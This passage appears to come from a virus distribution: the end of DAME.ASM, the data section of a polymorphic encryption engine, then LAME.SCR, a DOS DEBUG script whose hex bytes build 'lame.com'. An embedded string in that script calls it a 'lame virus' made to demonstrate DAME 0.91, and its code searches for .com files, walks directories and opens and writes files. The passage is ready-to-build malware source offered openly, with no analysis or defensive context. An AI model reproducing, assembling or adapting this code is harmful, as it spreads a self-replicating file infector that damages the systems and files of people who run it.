  1738. ;    XOR WORD PTR [bx+3212],3212
  1739. ; It is used at the end of the master encoding routine.
  1740. _encrypt_relocate_num   dw      ?
  1741. _encrypt_relocator      dw      8 dup (?)
  1742.  
  1743. _decrypt_relocate_num   dw      ?
  1744. _decrypt_relocator      dw      10 dup (?)
  1745.                                                         endclear1:
  1746.  
  1747. _encrypt_length         dw      ?       ; The number of bytes to encrypt
  1748.                                         ; (based upon alignment)
  1749. _counter_value          dw      ?       ; Forwards or backwards
  1750. _decrypt_value          dw      ?       ; Not necessarily the crypt key
  1751. _pointer_value1         dw      ?       ; Pointer register 1's initial value
  1752. _pointer_value2         dw      ?       ; Pointer register 2's initial value
  1753.  
  1754. _counter_reg            db      ?
  1755. _encrypt_reg            db      ?
  1756. _pointer_reg1           db      ?       ; 4 = not in use
  1757. _pointer_reg2           db      ?
  1758.  
  1759. _pointer_rm             db      ?       ; Holds r/m value for pointer registers
  1760. _maxnest                db      ?
  1761.  
  1762. _kludge                 dw      ?
  1763.  
  1764. endif
  1765. --End DAME.ASM--Begin LAME.SCR-------------------------------------------------
  1766. N lame.com
  1767. E 0100  E9 37 15 E8 01 08 CD 20 00 00 2A 2E 63 6F 6D 00
  1768. E 0110  2E 2E 00 0D 54 68 69 73 20 69 73 20 61 20 6C 61
  1769. E 0120  6D 65 20 76 69 72 75 73 20 73 6C 61 70 70 65 64
  1770. E 0130  20 74 6F 67 65 74 68 65 72 20 62 79 20 44 41 2F
  1771. E 0140  50 53 0D 0A 54 6F 20 64 65 6D 6F 6E 73 74 72 61
  1772. E 0150  74 65 20 44 41 4D 45 20 30 2E 39 31 0D 0A 1A 52
  1773. E 0160  51 53 B4 2C CD 21 E4 40 8A E0 E4 40 33 C1 33 D0
  1774. E 0170  EB 1C 52 51 53 E4 40 05 00 00 BA 00 00 B9 07 00
  1775. E 0180  D1 E0 D1 D2 8A D8 32 DE 79 02 FE C0 E2 F2 A3 78
  1776. E 0190  01 89 16 7B 01 8A C2 5B 59 5A C3 03 84 87 05 84
  1777. E 01A0  86 07 84 85 06 84 84 05 07 83 05 06 82 03 07 81
  1778. E 01B0  03 06 80 07 05 83 06 05 82 07 03 81 06 03 80 03
  1779. E 01C0  07 0B 0F 13 17 1B 1F 5F 5D 5E 5A 59 5B 58 FC 50
  1780. E 01D0  53 51 52 56 55 57 E8 0E 00 5F 51 57 FF D7 5F 59
  1781. E 01E0  5D 5E 5A 5B 5B 58 C3 FC 50 B8 1F 0A 97 AB 96 AB
  1782. E 01F0  AB 92 AB 93 AB 87 CA 33 C0 B9 1E 00 F3 AB E8 71
  1783. E 0200  FF 25 F0 FF 59 33 C8 E8 69 03 83 E3 07 8A 87 BF
  1784. E 0210  01 98 03 D0 F7 D0 23 D0 8B C2 AB D1 E8 F6 C5 40
  1785. E 0220  74 02 D1 E8 F6 C5 10 75 02 F7 D8 AB 52 E8 42 FF
  1786. E 0230  AB 58 F6 C5 20 75 02 F7 D8 33 DB F6 C5 80 74 05
  1787. E 0240  E8 30 03 2B C3 AB 93 AB E8 E6 02 BF 6F 0A B0 84
  1788. E 0250  F6 C5 08 74 09 E8 1A FF A3 6B 0A E8 DF 02 AA 92
  1789. E 0260  B0 84 E8 06 03 78 03 E8 D3 02 AA 3B C2 77 01 92
  1790. E 0270  8A E2 3D 05 03 74 D1 3D 07 06 74 CC BE 9B 01 B8
  1791. E 0280  03 00 F6 C5 80 74 05 83 C6 0C 04 04 E8 E4 02 23
  1792. E 0290  D8 03 F3 03 DB 03 F3 AD 8B D8 83 E3 07 80 BF 29
  1793. E 02A0  0A 00 75 D8 8A DC 0A DB 78 07 80 BF 29 0A 00 75
  1794. E 02B0  CB AB A4 E8 BC FE 24 0F 3C 0A 77 F7 AA E8 71 02
  1795. E 02C0  8B 3E 21 0A E8 07 03 BE 6F 0A 56 E8 A5 02 83 E3
  1796. E 02D0  03 8A 00 98 A8 80 75 F3 80 8F 6F 0A 80 8B F0 FE
  1797. E 02E0  84 29 0A 03 DB 8B 97 67 0A C6 06 19 0A 00 90 E8
  1798. E 02F0  5F 03 E8 D9 02 E8 1F 02 51 80 E1 F8 E8 9B 03 59
  1799. E 0300  89 3E 1F 0A 5E BA 04 00 AC A8 80 74 B3 4A 75 F8
  1800. E 0310  BE 1F 0A BF 1B 0A A5 A5 C6 06 1A 0A 00 90 E8 8E
  1801. E 0320  01 F6 C5 40 74 09 C6 06 1A 0A 02 90 E8 80 01 BB
  1802. E 0330  1B 0A 51 80 E1 F8 E8 87 00 59 B8 FC C3 AB BE 33
  1803. E 0340  0A 8B 3E 25 0A 51 E8 4E 00 59 BB 1D 0A E8 70 00
  1804. E 0350  57 E8 DD 01 5F E8 76 02 F6 C1 08 75 0D F6 C5 20
  1805. E 0360  74 03 E8 31 02 E8 66 02 EB 1E 8B D7 2B 16 23 0A
  1806. E 0370  03 16 27 0A 42 42 F7 DA 83 E2 0F 80 FA 0E 75 05
  1807. E 0380  F6 C5 20 74 03 E8 2F 02 89 3E 21 0A BE 45 0A 2B
  1808. E 0390  3E 23 0A 03 3E 27 0A F6 C5 20 74 04 03 3E 65 0A
  1809. E 03A0  2B 3E 6B 0A 2B 3E 6D 0A 8B 4C FE E3 08 97 97 AD
  1810. E 03B0  97 01 05 E2 F9 8B 3E 21 0A 8B CF 2B 0E 23 0A C3
  1811. E 03C0  8B 7F 04 90 53 C6 06 19 0A 00 90 A0 71 0A 25 07
  1812. E 03D0  00 BA 02 00 F6 C5 40 74 02 D1 E2 F6 C5 20 74 02
  1813. E 03E0  F7 DA F6 C5 80 74 26 D1 FA 50 E8 B2 03 A0 72 0A
  1814. E 03F0  25 07 00 E8 A9 03 5B F6 C5 08 75 14 53 92 E8 3C
  1815. E 0400  01 E8 AE 02 5A E8 6B 03 E8 47 01 EB 03 E8 8F 03
  1816. E 0410  B2 75 A0 6F 0A 25 07 00 3C 04 74 1D 52 BA 01 00
  1817. E 0420  F6 C5 10 74 10 3C 01 75 0A E8 3F 01 78 05 5A B2
  1818. E 0430  E2 EB 06 F7 DA E8 67 03 5A 5B 8B 07 2B C7 48 48
  1819. E 0440  86 E0 8A C2 0A E4 78 05 58 58 E9 7A FD AB 89 7F
  1820. E 0450  04 90 C3 80 E5 FB E8 12 01 78 03 80 CD 04 8B 3E
  1821. E 0460  21 0A BD 43 0A E8 66 01 33 C0 A0 73 0A E8 7C 00
  1822. E 0470  E8 B5 00 56 52 56 52 F6 C5 04 74 0B 92 E8 BD 00
  1823. E 0480  E8 2F 02 89 16 75 0A 5A 5E E8 67 01 53 E8 3E 01
  1824. E 0490  F6 C5 04 74 0C 92 A1 75 0A 50 E8 15 02 E8 B1 00
  1825. E 04A0  58 BD 31 0A E8 70 00 5B 5A 5E E8 7B 00 EB 30 E8
  1826. E 04B0  0B 00 E8 BD FC 3D 06 00 72 03 E8 96 FF 8B 3E 21
  1827. E 04C0  0A E8 0A 01 A0 70 0A 25 07 00 3C 04 74 49 E8 A2
  1828. E 04D0  00 80 FB C0 77 41 E8 13 00 E8 1A 01 E8 38 00 51
  1829. E 04E0  80 E1 F8 FF 50 01 59 89 3E 1F 0A C3 C6 06 19 0A
  1830. E 04F0  00 90 E8 76 00 78 08 E8 79 00 BE 6D 08 EB 15 E8
  1831. E 0500  71 00 83 E3 07 80 FB 04 74 F5 80 BF 29 0A 00 74
  1832. E 0510  EE BE A0 08 87 D3 C3 89 3E 21 0A 50 A0 74 0A A2
  1833. E 0520  19 0A 58 8B 3E 1F 0A C3 50 AC 98 03 F0 58 46 46
  1834. E 0530  C3 33 C0 BF 29 0A AB AB 40 AB 48 AB C3 E8 32 FC
  1835. E 0540  25 07 00 8B F0 80 BC 29 0A 00 75 F1 FE 84 29 0A
  1836. E 0550  C3 92 8B F0 C6 84 29 0A 00 C3 50 51 57 BF 29 0A
  1837. E 0560  B9 08 00 33 C0 F2 AE 5F 59 58 C3 50 E8 03 FC 0B
  1838. E 0570  C0 58 C3 93 E8 FB FB 93 C3 92 24 07 BB 65 08 D7
  1839. E 0580  AA C3 92 25 0F 00 0C 70 AB 57 E8 4A 00 8B C7 5B
  1840. E 0590  2B C3 88 47 FF C3 E8 D9 FB 8A D4 83 E2 0F 25 03
  1841. E 05A0  00 74 1B 48 74 11 B0 E9 AA 92 AB 51 91 E3 06 E8
  1842. E 05B0  C0 FB AA E2 FA 59 C3 B0 EB AA 92 AA EB ED B0 E8
  1843. E 05C0  E8 E5 FF E8 11 00 E8 74 FF E8 86 FF EB 71 C6 06
  1844. E 05D0  19 0A 00 90 E8 00 00 E8 80 FF 75 9C F6 C1 02 74
  1845. E 05E0  97 50 52 56 E8 8B FB 92 E8 52 FF E8 64 FF BE 44
  1846. E 05F0  08 EB 06 E8 E1 FF 50 52 56 50 AC 98 E8 74 FF 23
  1847. E 0600  D8 58 F6 C1 04 75 0F FE 06 19 0A 50 A0 74 0A 38
  1848. E 0610  06 19 0A 58 72 02 33 DB 53 FF 10 5B 5E 5A 58 C3
  1849. E 0620  BE A0 08 83 E2 07 EB CE BE 6D 08 EB C9 0A C0 78
  1850. E 0630  09 E8 37 FF 78 04 04 50 AA C3 05 30 FF EB 0F 0A
  1851. E 0640  C0 78 09 E8 25 FF 78 04 04 58 AA C3 B4 8F E9 F6
  1852. E 0650  00 BE BB 08 EB 9D E8 1A FF 53 2B D3 E8 F2 FF 5A
  1853. E 0660  EB 23 3C 04 73 34 50 52 E8 41 00 5A 58 86 F2 EB
  1854. E 0670  39 E8 FF FE 53 33 D3 E8 D7 FF 5A E9 9E 00 52 8B
  1855. E 0680  D0 E8 A2 00 5A E9 17 01 D1 CA E8 C4 FF EB 07 D1
  1856. E 0690  C2 E8 BD FF 0C 08 B4 D1 EB B4 E8 CE FE 78 06 04
  1857. E 06A0  B8 AA 92 AB C3 B4 C7 E9 0B 01 04 04 04 B0 8A E2
  1858. E 06B0  AB C3 BE CC 08 EB 9D 50 92 E8 71 FF 58 EB 80 B4
  1859. E 06C0  8B EB 6A E8 A5 FE 78 EA BE D5 08 EB 87 52 50 52
  1860. E 06D0  E8 5A FF 58 E8 56 FF 58 E8 64 FF 58 E9 60 FF E8
  1861. E 06E0  78 FE 75 14 52 50 E8 54 FE E8 D7 FF 5A E8 D8 FF
  1862. E 06F0  5A 92 E8 CE FF E9 59 FE 0A C0 78 0A 3A C2 7F 02
  1863. E 0700  86 C2 0A D2 74 06 86 C2 B4 87 EB 33 04 90 AA C3
  1864. E 0710  E8 60 FE 53 33 D3 E8 03 00 5A EB 00 BE DE 08 EB
  1865. E 0720  AA 0C 30 E9 87 00 BE E7 08 EB A0 B4 33 0A C0 78
  1866. E 0730  09 0A D2 78 0A E8 33 FE 78 05 86 C2 80 EC 02 D0
  1867. E 0740  E0 D0 E0 D0 E0 0A C2 0A C0 78 02 0C C0 86 E0 F6
  1868. E 0750  C4 40 75 1D F6 C1 01 75 05 50 B0 2E AA 58 AB 2E
  1869. E 0760  8B 76 00 03 F6 2E 89 7A 02 2E FF 46 00 A0 1A 0A
  1870. E 0770  98 AB C3 BE EC 08 EB B1 B4 03 EB B1 BE F1 08 EB
  1871. E 0780  A8 B4 2B EB A8 E8 4F 00 4A EB 14 E8 44 00 42 EB
  1872. E 0790  0E E8 DF FD 53 2B D3 E8 05 00 5A EB 02 F7 DA 0B
  1873. E 07A0  D2 75 01 C3 BE F6 08 EB D6 0A C0 74 0E 0A C0 78
  1874. E 07B0  02 04 C0 B4 81 E8 8F FF 92 AB C3 B0 05 AA EB F8
  1875. E 07C0  F7 DA 0B D2 74 DD 0A C0 74 04 04 28 EB DF B0 2D
  1876. E 07D0  EB EB 50 04 08 EB 01 50 0A C0 79 07 B4 FF E8 66
  1877. E 07E0  FF 58 C3 04 40 AA 58 C3 BB B2 06 BE C3 06 0A C0
  1878. E 07F0  78 0F EB 0F BB 2B 07 EB 08 BB 78 07 EB 03 BB 81
  1879. E 0800  07 8B F3 E8 54 FD 75 2A 50 56 E8 30 FD E8 A2 FE
  1880. E 0810  5E 5A 92 52 FF D6 58 E9 38 FD BB 1C 07 BE 26 07
  1881. E 0820  E8 37 FD 75 0D 50 56 E8 13 FD E8 24 FE 92 5E 58
  1882. E 0830  EB E1 FF E3 BB 9F 07 BE 73 07 EB E4 BB 51 06 BE
  1883. E 0840  C3 06 EB DC 1E 78 05 78 05 78 05 78 05 78 05 20
  1884. E 0850  06 20 06 20 06 28 06 28 06 28 06 79 05 79 05 79
  1885. E 0860  05 82 05 96 05 F8 F5 F9 FC FD FB CC F0 0E 1C 07
  1886. E 0870  51 06 C2 07 9F 07 D2 07 D7 07 94 06 96 06 0E 1C
  1887. E 0880  07 C2 07 9F 07 9F 07 D2 07 D7 07 94 06 96 06 0E
  1888. E 0890  1C 07 9F 07 C2 07 C2 07 D7 07 D2 07 96 06 94 06
  1889. E 08A0  06 26 07 B2 06 7C 07 73 07 06 26 07 26 07 7C 07
  1890. E 08B0  73 07 06 26 07 26 07 73 07 7C 07 0E 9A 06 3C 08
  1891. E 08C0  56 06 62 06 71 06 7E 06 88 06 8F 06 06 BF 06 BF
  1892. E 08D0  06 E8 07 B7 06 06 F8 06 F8 06 CD 06 DF 06 06 21
  1893. E 08E0  07 21 07 1A 08 10 07 02 2B 07 F4 07 02 78 07 F9
  1894. E 08F0  07 02 81 07 FE 07 0E A9 07 A9 07 34 08 C0 07 85
  1895. E 0900  07 8B 07 91 07 91 07 5E 8B C6 B1 04 D3 E8 2D 10
  1896. E 0910  00 03 C3 BB 19 09 50 53 CB BF 00 01 06 57 06 06
  1897. E 0920  A5 A5 0E 0E 07 1F B4 1A BA B8 0A CD 21 B4 47 99
  1898. E 0930  BE 78 0A C6 44 FF 5C CD 21 C6 06 18 0A 04 90 E8
  1899. E 0940  1D F8 B4 4E BA 0A 01 CD 21 73 1A B4 3B BA 10 01
  1900. E 0950  CD 21 73 EE B4 3B BA 77 0A CD 21 07 1F BA 80 00
  1901. E 0960  B4 1A CD 21 CB B8 00 3D BA D6 0A CD 21 72 26 93
  1902. E 0970  B4 3F B9 04 00 BA 06 01 CD 21 B4 3E CD 21 81 3E
  1903. E 0980  06 01 FC E9 74 0F 02 C4 3C A7 74 09 E8 0A 00 FE
  1904. E 0990  0E 18 0A 74 BF B4 4F EB AE B8 00 3D BA D6 0A CD
  1905. E 09A0  21 50 93 B8 20 12 CD 2F B8 16 12 26 8A 1D B7 00
  1906. E 09B0  CD 2F 5B 26 C7 45 02 02 00 26 8B 45 11 8B E8 B9
  1907. E 09C0  04 00 2B C1 A3 16 0A B4 40 BA 14 0A CD 21 26 89
  1908. E 09D0  6D 15 06 57 0E 07 BE 00 01 BF 04 0D B9 8B 04 F3
  1909. E 09E0  A5 B8 0B 00 BA 04 0D B9 16 09 BE 64 0B BF E4 0A
  1910. E 09F0  52 53 56 8B DD FE C7 E8 D4 F7 B4 40 5A 5B CD 21
  1911. E 0A00  B4 40 B9 16 09 5A CD 21 5F 07 26 80 4D 06 40 B4
  1912. E 0A10  3E CD 21 C3 FC E9
  1913. E 163A  C6 06 00 01 FC C7
  1914. E 1640  06 01 01 8C DB 33 FF 0E 57 0E 0E E9 D4 F2
  1915. R CX
  1916. 154E
  1917. W
  1918. Q
  1919. --End LAME.SCR-----------------------------------------------------------------
  1920.                                                                              DA
  1921.